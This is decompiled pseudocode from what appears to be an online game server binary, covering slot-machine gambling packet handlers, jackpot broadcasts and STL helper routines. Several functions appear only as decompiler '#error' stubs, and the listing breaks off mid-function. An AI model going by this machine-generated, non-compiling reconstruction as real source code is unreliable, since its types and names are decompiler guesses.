"ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_LEAVE_REQ"); } //----- (005CFD00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 unsigned int v6; // eax@1 unsigned int v7; // ebx@1 CGambleObject *v8; // eax@1 int v9; // eax@2 int v10; // eax@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17203; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v7 = v6; v8 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v6, GBT_SLOTMACHINE); if ( v8 && (v9 = (int)v8->vfptr->go_FindSubGambleObject(v8, v7)) != 0 ) *((_WORD *)v5 + 1) = (*(int (__thiscall **)(int, void *, int))(*(_DWORD *)v9 + 220))(v9, v4, netcmd + 2); else *((_WORD *)v5 + 1) = 10446; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ"); } //----- (005CFE20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // edi@1 unsigned int v7; // eax@1 unsigned int v8; // ebx@1 CGambleObject *v9; // eax@1 int v10; // eax@2 int v11; // eax@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17201; v6 = (int)(v5 + 2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v8 = v7; v9 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v7, GBT_SLOTMACHINE); if ( v9 ) { v10 = (int)v9->vfptr->go_FindSubGambleObject(v9, v8); if ( v10 ) { *(_WORD *)v6 = (*(int (__thiscall **)(int, void *, int))(*(_DWORD *)v10 + 224))(v10, v4, v6); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ : Packet Too Long", 13); goto LABEL_8; } LABEL_7: v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); goto LABEL_8; } } *(_WORD *)v6 = 10446; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) goto LABEL_7; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_REQ : Packet Too Long", 13); LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_REQ"); } //----- (005D00A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // ebx@1 unsigned int v7; // eax@1 unsigned int v8; // edi@1 CGambleObject *v9; // eax@1 int v10; // eax@2 int v11; // edi@5 int v12; // eax@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17190; v6 = (int)(v5 + 2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v8 = v7; v9 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v7, GBT_SLOTMACHINE); if ( v9 && (v10 = (int)v9->vfptr->go_FindSubGambleObject(v9, v8)) != 0 ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v10 + 236))(v10, v6); else *(_BYTE *)v6 = 0; v11 = 20 * *(_BYTE *)v6 + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 20 * *(_BYTE *)v6 + 3) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_REQ : Packet Too Long", v11); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_REQ"); } //----- (005D01C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WINRANKING_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // ebx@1 unsigned int v7; // eax@1 unsigned int v8; // edi@1 CGambleObject *v9; // eax@1 int v10; // eax@2 int v11; // edi@3 int v12; // eax@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WINRANKING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WINRANKING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17188; v6 = (int)(v5 + 2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v8 = v7; v9 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v7, GBT_SLOTMACHINE); if ( v9 ) { v10 = (int)v9->vfptr->go_FindSubGambleObject(v9, v8); if ( v10 ) { (*(void (__thiscall **)(int, int))(*(_DWORD *)v10 + 240))(v10, v6); v11 = 20 * *(_BYTE *)v6 + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 20 * *(_BYTE *)v6 + 3) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_REQ : Packet Too Long", v11); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WINRANKING_REQ"); } //----- (005D02E0) -------------------------------------------------------- CGambleObject *__thiscall SlotMachine::SlotMachineCluster::go_FindSubGambleObject(SlotMachine::SlotMachineCluster *this, unsigned int chrregnum) { SlotMachine::SlotMachineCluster *v2; // ebx@1 signed int v3; // esi@1 CGambleObject *v4; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_FindSubGambleObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineCluster::go_FindSubGambleObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = (CGambleObject *)v2->smc_Screens; while ( !CGambleObject::go_Find_Player(v4, chrregnum) ) { ++v3; v4 = (CGambleObject *)((char *)v4 + 80); if ( v3 >= 2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_FindSubGambleObject"); return 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_FindSubGambleObject"); return &v2->smc_Screens[v3].baseclass_0; } //----- (005D03D0) -------------------------------------------------------- #error "5D03D0: undefined or illegal type '#593' (funcsize=53)" //----- (005D04C0) -------------------------------------------------------- char __thiscall SlotMachine::SlotMachineCluster::go_Enter_Player(SlotMachine::SlotMachineCluster *this, #593 *pEntPlayer) { CGambleObject *v2; // ebx@1 signed int v3; // esi@1 CGambleObject *v4; // edi@1 int v6; // eax@5 int v7; // esi@5 v2 = (CGambleObject *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Enter_Player"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineCluster::go_Enter_Player"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = v2 + 1; while ( CGambleObject::go_Get_EnterPlayerCnt(v4) ) { ++v3; v4 = (CGambleObject *)((char *)v4 + 80); if ( v3 >= 2 ) goto LABEL_4; } v6 = *((_DWORD *)&v2[1].vfptr + 20 * v3); v7 = (int)((char *)&v2[1] + 80 * v3); if ( !(unsigned __int8)(*(int (__thiscall **)(int, #593 *))v6)(v7, pEntPlayer) ) { LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Enter_Player"); return 0; } if ( !CGambleObject::go_Enter_Player(v2, pEntPlayer) ) { (*(void (__thiscall **)(int, #593 *))(*(_DWORD *)v7 + 4))(v7, pEntPlayer); goto LABEL_4; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Enter_Player"); return 1; } //----- (005D05D0) -------------------------------------------------------- char __thiscall SlotMachine::SlotMachineCluster::go_Out_Player(SlotMachine::SlotMachineCluster *this, #593 *pOutPlayer) { CGambleObject *v2; // edi@1 char result; // al@2 signed int v4; // esi@3 CGambleObject *v5; // ebx@3 int v6; // eax@4 __int16 v7; // bp@5 v2 = (CGambleObject *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Out_Player"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineCluster::go_Out_Player"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( CGambleObject::go_Out_Player(v2, pOutPlayer) ) { v4 = 0; v5 = v2 + 1; while ( 1 ) { v6 = (int)CGambleObject::go_Get_EnterPlayer(v5, 0); if ( v6 ) { v7 = AxialListNearGateFind::alngf_Gethandle(v6); if ( v7 == AxialListNearGateFind::alngf_Gethandle((int)pOutPlayer) ) break; } ++v4; v5 = (CGambleObject *)((char *)v5 + 80); if ( v4 >= 2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Out_Player"); return 0; } } (*(void (__thiscall **)(_DWORD, _DWORD))(*((_DWORD *)&v2[1].vfptr + 20 * v4) + 4))( (char *)&v2[1] + 80 * v4, pOutPlayer); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Out_Player"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Out_Player"); result = 0; } return result; } //----- (005D0720) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineCluster::go_Routine(SlotMachine::SlotMachineCluster *this) { SlotMachine::SlotMachineCluster *v1; // esi@1 int v2; // esi@1 signed int v3; // edi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineCluster::go_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)v1->smc_Screens; v3 = 2; do { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 32))(v2); v2 += 80; --v3; } while ( v3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_Routine"); } //----- (005D07D0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineCluster::go_PlayerUnmarking(SlotMachine::SlotMachineCluster *this, #593 *player) { SlotMachine::SlotMachineCluster *v2; // esi@1 int v3; // esi@1 signed int v4; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_PlayerUnmarking"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineCluster::go_PlayerUnmarking"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->baseclass_0.vfptr->go_Out_Player((CGambleObject *)v2, player); v3 = (int)v2->smc_Screens; v4 = 2; do { (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 216))(v3, player); v3 += 80; --v4; } while ( v4 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_PlayerUnmarking"); } //----- (005D0890) -------------------------------------------------------- #error "5D0890: undefined or illegal type '#593' (funcsize=43)" //----- (005D0950) -------------------------------------------------------- #error "5D0950: undefined or illegal type '#593' (funcsize=119)" //----- (005D0AF0) -------------------------------------------------------- unsigned __int16 __thiscall SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce(SlotMachine::SlotMachineScreenManager *this, GBSMBetType type) { SlotMachine::SlotMachineScreenManager *v2; // ebx@1 unsigned int v3; // esi@1 void *v4; // eax@3 unsigned __int16 result; // ax@7 void *v6; // eax@9 unsigned __int16 v7; // si@11 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; if ( (signed int)v2->smsm_BetCoin.baseclass_0.baseclass_0.m_pHead->nNumOfRecord <= 0 ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce"); result = 0; } else { while ( 1 ) { v4 = v3 < v2->smsm_BetCoin.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v2->smsm_BetCoin.baseclass_0.baseclass_0, v3) : &v2->smsm_BetCoin.bdb_defaultblock; if ( *(_DWORD *)v4 == type ) break; ++v3; if ( (signed int)v3 >= (signed int)v2->smsm_BetCoin.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) goto LABEL_7; } if ( v3 < v2->smsm_BetCoin.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v2->smsm_BetCoin.baseclass_0.baseclass_0, v3); else v6 = &v2->smsm_BetCoin.bdb_defaultblock; v7 = *((_WORD *)v6 + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce"); result = v7; } return result; } //----- (005D0C20) -------------------------------------------------------- #error "5D0C20: undefined or illegal type '#593' (funcsize=56)" //----- (005D0D00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_IBurstJackPot(void *this, int price, int a3) { void *v3; // ebp@1 char *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 int v7; // edx@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-2020h]@1 FunctionEntarance _; // [sp+18h] [bp-2014h]@1 GppPacketSaver packetsaver; // [sp+1Ch] [bp-2010h]@1 unsigned int v11; // [sp+201Ch] [bp-10h]@1 int v12; // [sp+2028h] [bp-4h]@1 v3 = this; v11 = (unsigned int)&alchat ^ __security_cookie; _.fe_FunctionCode = "GameDBSession::so_ply_IBurstJackPot"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::so_ply_IBurstJackPot"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::so_ply_IBurstJackPot"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; memcpy(&packetsaver, gpp.pp_Buffer, sizeof(packetsaver)); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17187; v5 = *(_DWORD *)v3; LOBYTE(v12) = 1; v6 = (*(int (__thiscall **)(void *))(v5 + 1384))(v3); *(_DWORD *)(v4 + 2) = *(_DWORD *)v6; *(_DWORD *)(v4 + 6) = *(_DWORD *)(v6 + 4); *(_DWORD *)(v4 + 10) = *(_DWORD *)(v6 + 8); v7 = *(_DWORD *)(v6 + 12); *(_DWORD *)(v4 + 22) = a3; *(_DWORD *)(v4 + 14) = v7; *(_DWORD *)(v4 + 18) = price; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 26); LOBYTE(v12) = 2; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 1); LOBYTE(v12) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); memcpy(gpp.pp_Buffer, &packetsaver, 0x2000u); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::so_ply_IBurstJackPot"); __security_check_cookie((unsigned int)&alchat ^ v11); } //----- (005D0E60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult(void *this, int dback) { void *v2; // ebx@1 char *v3; // eax@1 int v4; // edi@1 int v5; // eax@1 unsigned int v6; // eax@1 CGambleObject *v7; // esi@1 int v8; // eax@4 CGambleObjectVtbl *v9; // ebp@5 int v10; // eax@5 int v11; // eax@5 int v12; // eax@10 char *v13; // [sp-4h] [bp-202Ch]@3 int v14; // [sp+10h] [bp-2018h]@1 FunctionEntarance _; // [sp+14h] [bp-2014h]@1 GppPacketSaver packetsaver; // [sp+18h] [bp-2010h]@1 unsigned int v17; // [sp+2018h] [bp-10h]@1 int v18; // [sp+2024h] [bp-4h]@1 v17 = (unsigned int)&v14 ^ __security_cookie; v2 = this; v14 = dback; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v18 = 0; memcpy(&packetsaver, gpp.pp_Buffer, sizeof(packetsaver)); *(_WORD *)gpp.pp_Buffer = -17199; v4 = (int)(v3 + 2); v5 = *(_DWORD *)v2; LOBYTE(v18) = 1; v6 = (*(int (__thiscall **)(void *))(v5 + 836))(v2); v7 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v6, GBT_SLOTMACHINE); if ( v7 ) { v9 = v7->vfptr; v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v11 = (int)v9->go_FindSubGambleObject(v7, v10); if ( v11 ) *(_WORD *)v4 = (*(int (__thiscall **)(int, void *, int, int))(*(_DWORD *)v11 + 228))(v11, v2, v14, v4); else *(_WORD *)v4 = 10446; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult : Packet Too Long", 12); } v13 = "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult"; } else { *(_WORD *)v4 = 10446; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v2, &gpp); v13 = "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult : Packet Too Long", 12); v13 = "ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult"; } } memcpy(gpp.pp_Buffer, &packetsaver, 0x2000u); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie((unsigned int)&v14 ^ v17); } //----- (005D1040) -------------------------------------------------------- #error "5D1040: undefined or illegal type '#593' (funcsize=116)" //----- (005D1220) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005D1280) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005D12E0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 15) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 15) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 15) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 15) ); if ( !*(_BYTE *)(v4 + 15) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 15); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (005D1340) -------------------------------------------------------- void __cdecl std::fill(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Last, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val) { SlotMachine::SlotMachineScreenManager::NPCvsBetType *i; // eax@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->NPC.n8_name[0] = *(_QWORD *)&_Val->NPC.n8_name[0]; *(_QWORD *)&i->NPC.n8_name[8] = *(_QWORD *)&_Val->NPC.n8_name[8]; *(_QWORD *)&i->NPC.n8_name[16] = *(_QWORD *)&_Val->NPC.n8_name[16]; *(_QWORD *)&i->NPC.n8_name[24] = *(_QWORD *)&_Val->NPC.n8_name[24]; i->betype = _Val->betype; } } //----- (005D1390) -------------------------------------------------------- GBSMAll *__cdecl std::copy_backward(GBSMAll *_First, GBSMAll *_Last, GBSMAll *_Dest) { GBSMAll *v3; // ecx@1 GBSMAll *result; // eax@1 v3 = _Last; for ( result = _Dest; v3 != _First; result->GBSM_IsJP = v3->GBSM_IsJP ) { --v3; --result; *(_DWORD *)&result->GBSM_GroupID = *(_DWORD *)&v3->GBSM_GroupID; } return result; } //----- (005D13C0) -------------------------------------------------------- GBSMCenter *__cdecl std::copy_backward(GBSMCenter *_First, GBSMCenter *_Last, GBSMCenter *_Dest) { GBSMCenter *v3; // ecx@1 GBSMCenter *result; // eax@1 v3 = _Last; for ( result = _Dest; v3 != _First; HIBYTE(result->GBSM_RatioCenter) = HIBYTE(v3->GBSM_RatioCenter) ) { --v3; --result; *(_WORD *)&result->GBSM_GroupID = *(_WORD *)&v3->GBSM_GroupID; } return result; } //----- (005D1400) -------------------------------------------------------- GBSMAll *__cdecl std::_Uninit_copy>(GBSMAll *_First, GBSMAll *_Last, GBSMAll *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GBSMAll *v5; // ecx@1 GBSMAll *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->GBSM_GroupID = *(_DWORD *)&v5->GBSM_GroupID; result->GBSM_IsJP = v5->GBSM_IsJP; } ++v5; } return result; } //----- (005D1440) -------------------------------------------------------- GBSMCenter *__cdecl std::_Uninit_copy>(GBSMCenter *_First, GBSMCenter *_Last, GBSMCenter *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GBSMCenter *v5; // ecx@1 GBSMCenter *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_WORD *)&result->GBSM_GroupID = *(_WORD *)&v5->GBSM_GroupID; HIBYTE(result->GBSM_RatioCenter) = HIBYTE(v5->GBSM_RatioCenter); } ++v5; } return result; } //----- (005D1480) -------------------------------------------------------- void __cdecl std::_Push_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, int _Hole, int _Top, SLOTMACHINE_JackPotRank _Val) { int v4; // esi@1 int i; // eax@1 int v6; // ecx@2 int v7; // edx@3 int v8; // eax@4 unsigned int 